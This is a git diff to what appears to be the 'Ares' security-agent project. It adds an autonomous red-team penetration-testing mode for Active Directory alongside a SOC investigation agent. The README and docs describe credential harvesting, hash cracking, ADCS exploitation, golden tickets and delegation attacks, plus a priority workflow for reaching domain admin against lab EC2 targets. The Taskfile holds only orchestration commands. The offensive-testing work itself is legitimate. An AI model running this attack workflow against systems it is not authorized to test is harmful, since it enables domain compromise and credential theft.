diff --git a/README.md b/README.md
index 8c95aa51..52f373c7 100644
--- a/README.md
+++ b/README.md
@@ -1,23 +1,29 @@
-# Ares - Autonomous SOC Investigation Agent
+# Ares - Autonomous Security Operations Agent
-
-
-
-[](https://github.com/dreadnode/python-template/actions/workflows/pre-commit.yaml)
-[](https://github.com/dreadnode/python-template/actions/workflows/renovate.yaml)
+[](https://github.com/dreadnode/ares/actions/workflows/pre-commit.yaml)
[](https://opensource.org/licenses/Apache-2.0)
+[](https://www.python.org/downloads/)
-
-
+Autonomous security agent with dual capabilities: **Blue Team** (SOC alert
+investigation) and **Red Team** (penetration testing). Built with the Dreadnode
+Agent SDK and MITRE ATT&CK framework.
-[](https://github.com/dreadnode/python-template/actions/workflows/pre-commit.yaml)
-[](https://opensource.org/licenses/Apache-2.0)
+## Table of Contents
-Autonomous security investigation agent that polls Grafana for alerts, queries
-Loki/Prometheus, and generates investigation reports with MITRE ATT&CK
-mappings.
+- [Capabilities](#capabilities)
+- [Quick Start](#quick-start)
+- [Usage](#usage)
+- [Blue Team Investigation Workflow](#blue-team-investigation-workflow)
+- [Red Team Operation Workflow](#red-team-operation-workflow)
+- [Development](#development)
+- [Configuration](#configuration)
+- [Observability](#observability)
+- [Contributing](#contributing)
+- [License](#license)
-## What It Does
+## Capabilities
+
+### Blue Team - SOC Investigation
- Polls Grafana for firing alerts
- Autonomously investigates Windows security events
@@ -26,6 +32,17 @@ mappings.
- Generates markdown reports with timeline and recommendations
- Detects DCSync, authentication patterns, and attack indicators
+### Red Team - Penetration Testing
+
+- Autonomous Active Directory enumeration
+- Credential harvesting (secretsdump, kerberoasting, AS-REP roasting)
+- Password hash cracking (hashcat, John the Ripper)
+- SMB share pilfering for embedded credentials
+- BloodHound integration for ACL abuse paths
+- ADCS exploitation (ESC1-15 vulnerabilities)
+- Golden ticket generation for domain persistence
+- Delegation attacks (RBCD, unconstrained, constrained)
+
## Quick Start
**Prerequisites:**
@@ -52,9 +69,18 @@ uv sync
# 3. Verify configuration
task ares:config:check
+# Expected output: ✓ All configuration checks passed
+
+# 4. Run the blue team agent (polls Grafana for alerts)
+task ares:blue:
+```
-# 4. Run the agent (polls Grafana for alerts)
-task ares:run
+**Verification:**
+
+```bash
+# Confirm installation
+uv run python -m ares --help
+# Should display available commands: investigate-alert, red-team
```
**Without 1Password:**
@@ -65,7 +91,7 @@ cp .env.example .env
# Edit .env with your API keys
# Run using local environment
-task ares:run:local
+task ares:blue:local:
```
## Usage
@@ -78,12 +104,21 @@ The easiest way to run Ares is using the provided Taskfile with 1Password integr
# Check configuration and 1Password access
task ares:config:check
-# Run Ares in poll mode (retrieves API keys from 1Password automatically)
-task ares:run
+# Blue Team: Run SOC agent in poll mode
+task ares:blue:
-# Investigate a specific alert from JSON file
+# Blue Team: Process current alerts once and exit
+task ares:blue:once:
+
+# Blue Team: Investigate a specific alert from JSON file
task ares:investigate ALERT=test-alerts/example-alert.json
+# Red Team: Run penetration testing agent (resolves target via AWS EC2 Name tag)
+task -y ares:red TARGET=dreadgoad
+
+# Red Team: Direct IP target (bypasses EC2 discovery)
+task ares:red: TARGET=192.168.1.100
+
# View investigation reports
task ares:reports:list # List all reports
task ares:reports:latest # Show latest report
@@ -93,9 +128,13 @@ task ares:reports:latest # Show latest report
| Command | Description |
| ------- | ----------- |
-| `task ares:run` | Run agent in poll mode (checks Grafana every 30s) |
-| `task ares:run:local` | Run using .env file instead of 1Password |
+| `task ares:blue:` | Run blue team agent in poll mode (checks Grafana every 30s) |
+| `task ares:blue:once:` | Run blue team once and exit |
+| `task ares:blue:local:` | Run blue team using .env file instead of 1Password |
| `task ares:investigate ALERT=` | Investigate a specific alert from JSON file |
+| `task ares:red TARGET=` | Run red team agent (resolves target via EC2 Name tag filter) |
+| `task ares:red: TARGET=` | Run red team agent against direct IP address |
+| `task ares:red:local: TARGET=` | Run red team using .env file instead of 1Password |
| `task ares:config:check` | Verify configuration and 1Password access |
| `task ares:config:show` | Display current configuration (no secrets) |
| `task ares:reports:list` | List all investigation reports |
@@ -107,7 +146,7 @@ See [Taskfile Usage Guide](docs/taskfile_usage.md) for detailed documentation.
### Direct CLI Usage (Advanced)
-#### Poll Mode (Continuous)
+#### Blue Team - Poll Mode (Continuous)
Run Ares in continuous polling mode to automatically investigate alerts:
@@ -117,27 +156,70 @@ export GRAFANA_SERVICE_ACCOUNT_TOKEN="your-grafana-token" # pragma: allowlist s
export ANTHROPIC_API_KEY="your-anthropic-key" # pragma: allowlist secret
export DREADNODE_API_KEY="your-dreadnode-key" # optional # pragma: allowlist secret
-# Run the agent
-uv run python -m src \
+# Run the blue team agent (continuous polling)
+uv run python -m ares \
--args.model claude-sonnet-4-20250514 \
--args.grafana-url https://grafana.example.com \
--args.poll-interval 30 \
--args.max-steps 150 \
--args.report-dir ./reports
+
+# Run once and exit (process current alerts only)
+uv run python -m ares --args.once
```
-#### Single Alert Investigation
+#### Blue Team - Single Alert Investigation
Investigate a specific alert by providing it as JSON:
```bash
-# Using environment variables (as above)
-uv run python -m src investigate-alert test-alerts/example-alert.json \
+uv run python -m ares investigate-alert test-alerts/example-alert.json \
--args.model claude-sonnet-4-20250514 \
--args.grafana-url https://grafana.example.com \
--args.max-steps 150
```
+#### Red Team - Penetration Testing
+
+The red team agent supports two targeting modes:
+
+**EC2 Target Discovery (Recommended):**
+
+When using the Taskfile, provide an EC2 Name tag filter instead of an IP address.
+The task queries AWS EC2 to find running instances where the Name tag contains
+your filter string, then uses the first matching instance's private IP.
+
+```bash
+# Discover target via AWS EC2 Name tag filter
+# Finds instances where Name tag contains "dreadgoad"
+task -y ares:red TARGET=dreadgoad
+```
+
+This uses `aws ec2 describe-instances` with:
+
+- Filter: `Name=instance-state-name,Values=running`
+- Query: Instances where `Name` tag contains the TARGET value
+- Returns: First matching instance's `PrivateIpAddress`
+
+**Direct IP Target:**
+
+For direct IP targeting (bypasses EC2 discovery):
+
+```bash
+# Direct IP address
+task ares:red: TARGET=192.168.1.100
+
+# Or via CLI
+uv run python -m ares red-team 192.168.1.100 \
+ --args.model claude-sonnet-4-20250514 \
+ --args.max-steps 150 \
+ --args.report-dir ./reports
+```
+
+**Red Team Prerequisites:** The target environment must have penetration testing
+tools installed (nmap, netexec, impacket-scripts, hashcat, john, certipy-ad,
+bloodhound-python).
+
### Command-Line Options
**Agent Arguments (`--args.*`):**
@@ -160,9 +242,9 @@ uv run python -m src investigate-alert test-alerts/example-alert.json \
| `--dn-args.workspace` | `ares-protocol` | Dreadnode workspace name |
| `--dn-args.project` | `ares-soc` | Dreadnode project name |
-## Investigation Workflow
+## Blue Team Investigation Workflow
-Ares follows a structured 4-stage investigation process:
+The SOC agent follows a structured 4-stage investigation process:
### 1. Triage (WHAT is happening?)
@@ -235,6 +317,37 @@ Generated reports include:
Example report location: `reports/inv--.md`
+## Red Team Operation Workflow
+
+The red team agent follows a priority-driven attack workflow:
+
+### Priority 0: ADCS Vulnerabilities
+
+When certificate template vulnerabilities (ESC1-15) are discovered, immediately
+exploit them for potential direct path to Domain Admin.
+
+### Priority 1: KRBTGT Hash
+
+When a krbtgt hash is found, generate golden tickets for persistent domain
+access and cross-domain escalation.
+
+### Priority 2: Administrator Hash
+
+When Administrator hashes are found, immediately use domain_admin_checker on
+all targets and run secretsdump across the environment.
+
+### Priority 3: Credential Expansion
+
+For each new credential discovered:
+
+1. Check for privilege escalation paths (BloodHound ACL abuse, ADCS, delegation)
+2. Enumerate users and shares on all targets
+3. Pilfer accessible shares for embedded credentials
+4. Kerberoast and AS-REP roast with new credentials
+5. Crack discovered hashes and loop back
+
+Example report location: `reports/redteam-_report.md`
+
## Development
### Prerequisites
@@ -280,6 +393,8 @@ pytest --cov=src tests/
### Environment Variables
+**Blue Team (SOC Investigation):**
+
| Variable | Required | Description |
| -------- | -------- | ----------- |
| `GRAFANA_URL` | Yes | Grafana instance URL (e.g., `https://grafana.example.com`) |
@@ -287,6 +402,13 @@ pytest --cov=src tests/
| `ANTHROPIC_API_KEY` | Yes | Anthropic API key for Claude models |
| `DREADNODE_API_KEY` | No | Dreadnode platform token for observability |
+**Red Team (Penetration Testing):**
+
+| Variable | Required | Description |
+| -------- | -------- | ----------- |
+| `ANTHROPIC_API_KEY` | Yes | Anthropic API key for Claude models |
+| `DREADNODE_API_KEY` | No | Dreadnode platform token for observability |
+
**Note:** `GRAFANA_API_KEY` is deprecated. Use `GRAFANA_SERVICE_ACCOUNT_TOKEN`
instead. See [Grafana's service account
documentation](https://grafana.com/docs/grafana/latest/administration/service-accounts/)
@@ -318,7 +440,7 @@ The Dreadnode platform can be configured via command-line arguments or
environment variables:
```bash
-# Via command line
+# Via command line (blue team)
uv run python -m ares \
--dn-args.server https://platform.dev.plundr.ai/ \
--dn-args.token your-api-token \
@@ -326,6 +448,10 @@ uv run python -m ares \
--dn-args.workspace ares-protocol \
--dn-args.project ares-soc
+# Via command line (red team)
+uv run python -m ares red-team 192.168.1.100 \
+ --dn-args.project ares-redteam
+
# Via environment variable
export DREADNODE_API_KEY="your-dreadnode-api-key" # pragma: allowlist secret
```
diff --git a/Taskfile.yaml b/Taskfile.yaml
index f8b30b37..3c6a004b 100644
--- a/Taskfile.yaml
+++ b/Taskfile.yaml
@@ -144,63 +144,114 @@ tasks:
- task: github:create-release
# ===========================================================================
- # Ares SOC Agent Tasks
+ # Ares Blue Team (SOC) Agent Tasks
# ===========================================================================
- ares:run:
- desc: Run Ares in poll mode (retrieves API keys from 1Password)
+ ares:blue:
+ desc: Run blue team agent in poll mode (uses 1Password for API keys)
+ deps:
+ - task: check-aws-auth
+ vars:
+ PROFILE: '{{.PROFILE | default "infrastructure"}}'
+ REGION: '{{.REGION | default "us-west-2"}}'
cmds:
- |
- echo "Starting Ares SOC Investigation Agent..."
- echo "Platform: {{.DREADNODE_SERVER}}"
- echo "Model: {{.MODEL}}"
- echo ""
+ export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal)
+ export GRAFANA_API_KEY=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "")
+ export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "")
- # Get API keys from 1Password
+ uv run python -m ares \
+ --args.model {{.MODEL}} \
+ --args.grafana-url {{.GRAFANA_URL}} \
+ --args.poll-interval {{.POLL_INTERVAL}} \
+ --args.max-steps {{.MAX_STEPS}} \
+ --args.report-dir {{.REPORT_DIR}} \
+ --dn-args.server {{.DREADNODE_SERVER}} \
+ --dn-args.token "$DREADNODE_API_KEY" \
+ --dn-args.organization {{.DREADNODE_ORGANIZATION}} \
+ --dn-args.workspace {{.DREADNODE_WORKSPACE}} \
+ --dn-args.project {{.DREADNODE_PROJECT}}
+
+ ares:blue:once:
+ desc: Run blue team agent once and exit (uses 1Password for API keys)
+ deps:
+ - task: check-aws-auth
+ vars:
+ PROFILE: '{{.PROFILE | default "infrastructure"}}'
+ REGION: '{{.REGION | default "us-west-2"}}'
+ cmds:
+ - |
export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal)
- export GRAFANA_SERVICE_ACCOUNT_TOKEN=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "")
+ export GRAFANA_API_KEY=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "")
export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "")
- # Run Ares using uv
- uv run python -m src \
+ uv run python -m ares \
--args.model {{.MODEL}} \
--args.grafana-url {{.GRAFANA_URL}} \
--args.poll-interval {{.POLL_INTERVAL}} \
--args.max-steps {{.MAX_STEPS}} \
--args.report-dir {{.REPORT_DIR}} \
+ --args.once \
--dn-args.server {{.DREADNODE_SERVER}} \
--dn-args.token "$DREADNODE_API_KEY" \
--dn-args.organization {{.DREADNODE_ORGANIZATION}} \
--dn-args.workspace {{.DREADNODE_WORKSPACE}} \
--dn-args.project {{.DREADNODE_PROJECT}}
- ares:run:local:
- desc: Run Ares using local environment variables (no 1Password)
+ ares:blue:local:
+ desc: Run blue team agent using .env file (no 1Password)
+ deps:
+ - task: check-aws-auth
+ vars:
+ PROFILE: '{{.PROFILE | default "infrastructure"}}'
+ REGION: '{{.REGION | default "us-west-2"}}'
cmds:
- |
- echo "Starting Ares SOC Investigation Agent (using .env)..."
- echo "Platform: {{.DREADNODE_SERVER}}"
- echo "Model: {{.MODEL}}"
- echo ""
+ if [ ! -f .env ]; then
+ echo "Error: .env file not found"
+ exit 1
+ fi
+
+ set -a
+ . ./.env
+ set +a
+
+ uv run python -m ares \
+ --args.model {{.MODEL}} \
+ --args.grafana-url {{.GRAFANA_URL}} \
+ --args.poll-interval {{.POLL_INTERVAL}} \
+ --args.max-steps {{.MAX_STEPS}} \
+ --args.report-dir {{.REPORT_DIR}} \
+ --dn-args.server {{.DREADNODE_SERVER}} \
+ --dn-args.organization {{.DREADNODE_ORGANIZATION}} \
+ --dn-args.workspace {{.DREADNODE_WORKSPACE}} \
+ --dn-args.project {{.DREADNODE_PROJECT}}
- # Check for .env file
+ ares:blue:local:once:
+ desc: Run blue team agent once and exit using .env file (no 1Password)
+ deps:
+ - task: check-aws-auth
+ vars:
+ PROFILE: '{{.PROFILE | default "infrastructure"}}'
+ REGION: '{{.REGION | default "us-west-2"}}'
+ cmds:
+ - |
if [ ! -f .env ]; then
- echo "⚠️ Warning: .env file not found. Copy .env.example to .env and configure."
+ echo "Error: .env file not found"
exit 1
fi
- # Load .env
set -a
. ./.env
set +a
- # Run Ares using uv
- uv run python -m src \
+ uv run python -m ares \
--args.model {{.MODEL}} \
--args.grafana-url {{.GRAFANA_URL}} \
--args.poll-interval {{.POLL_INTERVAL}} \
--args.max-steps {{.MAX_STEPS}} \
--args.report-dir {{.REPORT_DIR}} \
+ --args.once \
--dn-args.server {{.DREADNODE_SERVER}} \
--dn-args.organization {{.DREADNODE_ORGANIZATION}} \
--dn-args.workspace {{.DREADNODE_WORKSPACE}} \
@@ -215,18 +266,18 @@ tasks:
msg: "ALERT variable is required. Usage: task ares:investigate ALERT=alert.json"
- sh: test -f "{{.ALERT}}"
msg: "Alert file not found: {{.ALERT}}"
+ deps:
+ - task: check-aws-auth
+ vars:
+ PROFILE: '{{.PROFILE | default "infrastructure"}}'
+ REGION: '{{.REGION | default "us-west-2"}}'
cmds:
- |
- echo "Investigating alert from: {{.ALERT}}"
- echo ""
-
- # Get API keys from 1Password
export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal)
- export GRAFANA_SERVICE_ACCOUNT_TOKEN=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "")
+ export GRAFANA_API_KEY=$(op item get "Ares Grafana MCP" --fields grafana-token --reveal 2>/dev/null || echo "")
export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "")
- # Run investigation
- uv run python -m src investigate-alert {{.ALERT}} \
+ uv run python -m ares investigate-alert {{.ALERT}} \
--args.model {{.MODEL}} \
--args.grafana-url {{.GRAFANA_URL}} \
--args.max-steps {{.MAX_STEPS}} \
@@ -278,11 +329,11 @@ tasks:
echo " Field: 'api-key'"
fi
- # Check Grafana service account token
+ # Check Grafana API key
if op item get "Ares Grafana MCP" --fields grafana-token --reveal >/dev/null 2>&1; then
- echo " ✅ Grafana service account token accessible"
+ echo " ✅ Grafana API key accessible"
else
- echo " ⚠️ Grafana service account token not found in 1Password"
+ echo " ⚠️ Grafana API key not found in 1Password"
echo " Item: 'Ares Grafana MCP'"
echo " Field: 'grafana-token'"
fi
@@ -360,7 +411,7 @@ tasks:
ares:version:
desc: Show Ares version information
cmds:
- - uv run python -m ares version
+ - uv run python -c "import ares; print('Ares version:', ares.__version__)"
ares:mitre:test:
desc: Test MITRE ATT&CK data loading
@@ -368,7 +419,7 @@ tasks:
- |
uv run python -c "
import asyncio
- from src.mitre import MITREAttackClient
+ from ares.integrations.mitre import MITREAttackClient
async def test():
client = MITREAttackClient()
@@ -390,3 +441,203 @@ tasks:
desc: Show example Grafana MCP queries for Windows attack detection
cmds:
- python examples/grafana_mcp_windows_example.py
+
+ # ===========================================================================
+ # Ares Red Team Agent Tasks
+ # ===========================================================================
+
+ check-aws-auth:
+ internal: true
+ vars:
+ PROFILE: '{{.PROFILE | default "lab"}}'
+ REGION: '{{.REGION | default "us-west-2"}}'
+ cmds:
+ - |
+ # Check if AWS CLI is installed
+ if ! command -v aws >/dev/null 2>&1; then
+ echo "❌ Error: AWS CLI is not installed"
+ echo ""
+ echo "The red team orchestration tasks require AWS CLI to access the infrastructure account."
+ echo "Install it from: https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html"
+ exit 1
+ fi
+
+ # Check if credentials are configured and valid for the profile
+ if ! aws sts get-caller-identity --profile "{{.PROFILE}}" --region "{{.REGION}}" >/dev/null 2>&1; then
+ echo "❌ Error: AWS authentication failed for profile '{{.PROFILE}}'"
+ echo ""
+ echo "You need to authenticate to the infrastructure account before running this task."
+ echo ""
+ echo "Troubleshooting:"
+ echo " 1. Verify your AWS credentials are configured: aws configure --profile {{.PROFILE}}"
+ echo " 2. If using SSO, authenticate: aws sso login --profile {{.PROFILE}}"
+ echo " 3. Check your profile exists: aws configure list --profile {{.PROFILE}}"
+ echo " 4. Verify your credentials are not expired"
+ exit 1
+ fi
+
+ # Success - show caller identity
+ echo "✅ AWS authentication verified"
+ aws sts get-caller-identity --profile "{{.PROFILE}}" --region "{{.REGION}}" --output table
+
+ ares:red:
+ desc: "Run red team agent against a target (usage: task ares:red TARGET=dreadgoad)"
+ vars:
+ TARGET: '{{.TARGET | default ""}}'
+ PROFILE: '{{.PROFILE | default "lab"}}'
+ REGION: '{{.REGION | default "us-west-2"}}'
+ REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}'
+ preconditions:
+ - sh: test -n "{{.TARGET}}"
+ msg: "TARGET variable is required. Usage: task ares:red TARGET=dreadgoad"
+ cmds:
+ - |
+ export OPENAI_API_KEY=$(op item get "Openai" --fields dreadnode-api-key --reveal 2>/dev/null)
+ export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal 2>/dev/null || echo "")
+ export ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null || echo "")
+
+ TARGET="{{.TARGET}}"
+
+ # Check if TARGET is an IP address (simple regex check)
+ if echo "$TARGET" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$'; then
+ echo "🎯 Using direct IP: $TARGET"
+ RESOLVED_TARGET="$TARGET"
+ else
+ # Resolve TARGET via AWS EC2 Name tag filter
+ echo "🔍 Resolving '$TARGET' via AWS EC2 Name tag filter..."
+
+ RESOLVED_TARGET=$(aws ec2 describe-instances \
+ --profile "{{.PROFILE}}" \
+ --region "{{.REGION}}" \
+ --filters "Name=instance-state-name,Values=running" \
+ --query "Reservations[*].Instances[?contains(Tags[?Key==\`Name\`].Value|[0], \`$TARGET\`)].PrivateIpAddress" \
+ --output text | tr '\n' ' ' | awk '{print $1}')
+
+ if [ -z "$RESOLVED_TARGET" ]; then
+ echo "❌ No running EC2 instances found matching Name tag filter: $TARGET"
+ exit 1
+ fi
+
+ echo "✅ Resolved to: $RESOLVED_TARGET"
+ fi
+
+ uv run python -m ares red-team "$RESOLVED_TARGET" \
+ --args.model {{.MODEL}} \
+ --args.max-steps {{.MAX_STEPS}} \
+ --args.report-dir {{.REPORT_DIR}} \
+ --dn-args.server {{.DREADNODE_SERVER}} \
+ --dn-args.token "$DREADNODE_API_KEY" \
+ --dn-args.organization {{.DREADNODE_ORGANIZATION}} \
+ --dn-args.workspace {{.DREADNODE_WORKSPACE}} \
+ --dn-args.project {{.REDTEAM_PROJECT}}
+
+ ares:red:local:
+ desc: "Run red team agent using .env file (usage: task ares:red:local TARGET=192.168.1.100)"
+ vars:
+ TARGET: '{{.TARGET | default ""}}'
+ REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}'
+ preconditions:
+ - sh: test -n "{{.TARGET}}"
+ msg: "TARGET variable is required. Usage: task ares:red:local TARGET=192.168.1.100"
+ cmds:
+ - |
+ if [ ! -f .env ]; then
+ echo "Error: .env file not found"
+ exit 1
+ fi
+
+ set -a
+ . ./.env
+ set +a
+
+ uv run python -m ares red-team {{.TARGET}} \
+ --args.model {{.MODEL}} \
+ --args.max-steps {{.MAX_STEPS}} \
+ --args.report-dir {{.REPORT_DIR}} \
+ --dn-args.server {{.DREADNODE_SERVER}} \
+ --dn-args.organization {{.DREADNODE_ORGANIZATION}} \
+ --dn-args.workspace {{.DREADNODE_WORKSPACE}} \
+ --dn-args.project {{.REDTEAM_PROJECT}}
+
+ ares:red:logs:
+ desc: "Tail red team agent logs from Kali via SSM (usage: task ares:red:logs [KALI=instance-name] [LINES=100] [FOLLOW=true])"
+ vars:
+ KALI: '{{.KALI | default "dev-alpha-operator-range-kali"}}'
+ LINES: '{{.LINES | default "100"}}'
+ FOLLOW: '{{.FOLLOW | default "false"}}'
+ PROFILE: '{{.PROFILE | default "lab"}}'
+ REGION: '{{.REGION | default "us-west-2"}}'
+ deps:
+ - task: check-aws-auth
+ vars:
+ PROFILE: '{{.PROFILE}}'
+ REGION: '{{.REGION}}'
+ cmds:
+ - |
+ SSM_INSTANCE_ID=$(aws ec2 describe-instances \
+ --profile "{{.PROFILE}}" \
+ --region "{{.REGION}}" \
+ --filters "Name=tag:Name,Values={{.KALI}}" "Name=instance-state-name,Values=running" \
+ --query 'Reservations[0].Instances[0].InstanceId' \
+ --output text)
+
+ if [ "$SSM_INSTANCE_ID" == "None" ] || [ -z "$SSM_INSTANCE_ID" ]; then
+ echo "❌ Kali instance not found or not running: {{.KALI}}"
+ exit 1
+ fi
+
+ if [ "{{.FOLLOW}}" = "true" ]; then
+ echo "📡 Following logs from {{.KALI}} (Press Ctrl+C to stop)"
+ echo "======================================================================"
+ echo ""
+
+ while true; do
+ clear
+ echo "🕐 $(date) - Refreshing..."
+ echo "======================================================================"
+
+ COMMAND_ID=$(aws ssm send-command \
+ --profile "{{.PROFILE}}" \
+ --region "{{.REGION}}" \
+ --instance-ids "$SSM_INSTANCE_ID" \
+ --document-name "AWS-RunShellScript" \
+ --parameters 'commands=["tail -n 100 /tmp/ares-redteam-output.log 2>/dev/null || echo \"Log file not yet created\""]' \
+ --query 'Command.CommandId' \
+ --output text)
+
+ sleep 2
+
+ aws ssm get-command-invocation \
+ --profile "{{.PROFILE}}" \
+ --region "{{.REGION}}" \
+ --command-id "$COMMAND_ID" \
+ --instance-id "$SSM_INSTANCE_ID" \
+ --query 'StandardOutputContent' \
+ --output text
+
+ sleep 3
+ done
+ else
+ echo "📋 Fetching last {{.LINES}} lines from {{.KALI}}..."
+ echo "======================================================================"
+ echo ""
+
+ COMMAND_ID=$(aws ssm send-command \
+ --profile "{{.PROFILE}}" \
+ --region "{{.REGION}}" \
+ --instance-ids "$SSM_INSTANCE_ID" \
+ --document-name "AWS-RunShellScript" \
+ --parameters "commands=[\"tail -n {{.LINES}} /tmp/ares-redteam-output.log 2>/dev/null || echo 'Log file not yet created'\"]" \
+ --query 'Command.CommandId' \
+ --output text)
+
+ sleep 2
+
+ aws ssm get-command-invocation \
+ --profile "{{.PROFILE}}" \
+ --region "{{.REGION}}" \
+ --command-id "$COMMAND_ID" \
+ --instance-id "$SSM_INSTANCE_ID" \
+ --query 'StandardOutputContent' \
+ --output text
+ fi
diff --git a/docs/index.md b/docs/index.md
index 821f0dcc..abae72f4 100644
--- a/docs/index.md
+++ b/docs/index.md
@@ -1,31 +1,53 @@
# Ares Documentation
Welcome to the Ares documentation.
-Ares is an autonomous Security Operations Center (SOC) investigation agent.
+Ares is an autonomous security operations agent with dual capabilities:
+**Blue Team** (SOC investigation) and **Red Team** (penetration testing).
## Quick Links
- [Project README](../README.md)
+- [Taskfile Usage Guide](taskfile_usage.md)
+- [Grafana MCP Integration](grafana_mcp_usage.md)
+- [Prompt Templates](prompt_templates.md)
- [Contributing Guide](contributing.md)
- [Security Policy](../SECURITY.md)
-- [Changelog](../CHANGELOG.md)
## Overview
-Ares transforms security alerts into actionable threat intelligence through
-autonomous, question-driven investigations.
-Built with the Dreadnode Agent SDK, it systematically analyzes security events
-using MITRE ATT&CK framework and the Pyramid of Pain methodology.
+Ares provides autonomous security operations through two specialized agents:
+
+**Blue Team Agent** - Transforms security alerts into actionable threat
+intelligence through question-driven investigations. Uses MITRE ATT&CK
+framework and Pyramid of Pain methodology.
+
+**Red Team Agent** - Autonomous penetration testing for Active Directory
+environments. Systematically enumerates, harvests credentials, and attempts
+domain admin access.
+
+Built with the [Dreadnode Agent SDK](https://github.com/dreadnode/agent-sdk).
## Key Capabilities
-- Autonomous alert investigation
+### Blue Team (SOC Investigation)
+
+- Autonomous Grafana alert investigation
- MITRE ATT&CK technique mapping
- Pyramid of Pain-based analysis elevation
-- Multi-stage investigation workflow
-- Integration with Grafana, Loki, and Prometheus
+- Multi-stage investigation workflow (Triage, Causation, Lateral, Synthesis)
+- Integration with Grafana, Loki, and Prometheus via MCP
- Comprehensive markdown reporting
+### Red Team (Penetration Testing)
+
+- Active Directory enumeration (hosts, users, shares)
+- Credential harvesting (secretsdump, kerberoasting, AS-REP roasting)
+- Password hash cracking (hashcat, John the Ripper)
+- BloodHound integration for ACL abuse paths
+- ADCS exploitation (ESC1-15 vulnerabilities)
+- Golden ticket generation
+- Delegation attacks (RBCD, unconstrained, constrained)
+
## Getting Started
See the [README](../README.md) for installation instructions and usage
@@ -35,11 +57,26 @@ examples.
```text
ares/
-├── src/ares/ # Main source code
-├── tests/ # Test suite
-├── docs/ # Documentation
-├── reports/ # Generated investigation reports
-└── pyproject.toml # Project configuration
+├── src/ares/ # Main package
+│ ├── agents/ # Agent orchestrators
+│ │ ├── blue/ # SOC investigation agent
+│ │ └── red/ # Penetration testing agent
+│ ├── core/ # Core models and engines
+│ │ └── factories/ # Agent factories
+│ ├── integrations/ # External integrations (MITRE)
+│ ├── reports/ # Report generators
+│ └── tools/ # Agent toolsets
+│ ├── blue/ # Blue team tools
+│ ├── red/ # Red team tools
+│ └── shared/ # Shared tools (MITRE)
+├── templates/ # Jinja2 prompt templates
+│ ├── agent/ # Blue team agent templates
+│ ├── engines/ # Question engine templates
+│ ├── redteam/ # Red team agent templates
+│ └── reports/ # Report templates
+├── tests/ # Test suite
+├── docs/ # Documentation
+└── reports/ # Generated reports
```
## Development
diff --git a/docs/prompt_templates.md b/docs/prompt_templates.md
index 8950b93b..4d202463 100644
--- a/docs/prompt_templates.md
+++ b/docs/prompt_templates.md
@@ -6,7 +6,7 @@ API costs, and team collaboration.
## Quick Start
```python
-from src.templates import get_template_loader
+from ares.core.templates import get_template_loader
loader = get_template_loader()
result = loader.render(
@@ -36,16 +36,19 @@ result = loader.render(
| Category | Purpose | Status |
| -------- | ------- | ------ |
-| `agent/` | System instructions & alert prompts | ✅ Complete |
-| `engines/` | Question generation templates | ✅ Complete |
+| `agent/` | Blue team system instructions & alert prompts | ✅ Complete |
+| `engines/` | Question generation & attack chain templates | ✅ Complete |
| `tools/` | Investigation query suggestions | ✅ Complete |
| `reports/` | Report section templates | ⚠️ Partial |
+| `redteam/` | Red team agent templates | ✅ Complete |
## API Reference
### List Templates
```python
+from ares.core.templates import get_template_loader
+
loader = get_template_loader()
templates = loader.list_templates()
```
@@ -117,7 +120,7 @@ the questions.
## Testing
```python
-from src.templates import get_template_loader
+from ares.core.templates import get_template_loader
loader = get_template_loader()
@@ -133,11 +136,14 @@ except Exception as e:
| File | Status | Notes |
| ---- | ------ | ----- |
-| `src/agent.py` | ✅ Complete | Uses template loader |
-| `src/core/create.py` | ✅ Complete | System instructions from template |
-| `src/engines.py` | ✅ Complete | All questions templated |
-| `src/tools/investigation.py` | ✅ Complete | Query suggestions templated |
-| `src/report.py` | ⚠️ Partial | Templates exist, integration incomplete |
+| `src/ares/agents/blue/soc_investigator.py` | ✅ Complete | Uses template loader |
+| `src/ares/agents/red/pentester.py` | ✅ Complete | Uses template loader |
+| `src/ares/core/factories/blue_factory.py` | ✅ Complete | System instructions from template |
+| `src/ares/core/factories/red_factory.py` | ✅ Complete | System instructions from template |
+| `src/ares/core/engines.py` | ✅ Complete | All questions templated |
+| `src/ares/tools/blue/investigation.py` | ✅ Complete | Query suggestions templated |
+| `src/ares/reports/investigation.py` | ⚠️ Partial | Templates exist, integration incomplete |
+| `src/ares/reports/redteam.py` | ✅ Complete | Red team reports templated |
## Troubleshooting
diff --git a/docs/taskfile_usage.md b/docs/taskfile_usage.md
index 469603c9..9e5bf841 100644
--- a/docs/taskfile_usage.md
+++ b/docs/taskfile_usage.md
@@ -1,7 +1,7 @@
# Taskfile Usage for Ares
-This document describes how to use the Taskfile to run and manage the Ares SOC
-Investigation Agent.
+This document describes how to use the Taskfile to run and manage the Ares
+security agents (Blue Team SOC and Red Team penetration testing).
## Prerequisites
@@ -36,57 +36,65 @@ This will check:
### 3. Run Ares
-Start Ares in poll mode (automatically polls Grafana for alerts):
+Start the Blue Team agent in poll mode (automatically polls Grafana for alerts):
```bash
-task ares:run
+task ares:blue:
+```
+
+Or run the Red Team agent against a target:
+
+```bash
+# Discover target via AWS EC2 Name tag filter
+task -y ares:red TARGET=dreadgoad
+
+# Or use a direct IP address
+task ares:red: TARGET=192.168.1.100
```
This will:
1. Retrieve API keys from 1Password:
- `Dreadnode Dev Platform` → `api-key` field
- - `Grafana` → `api-key` field
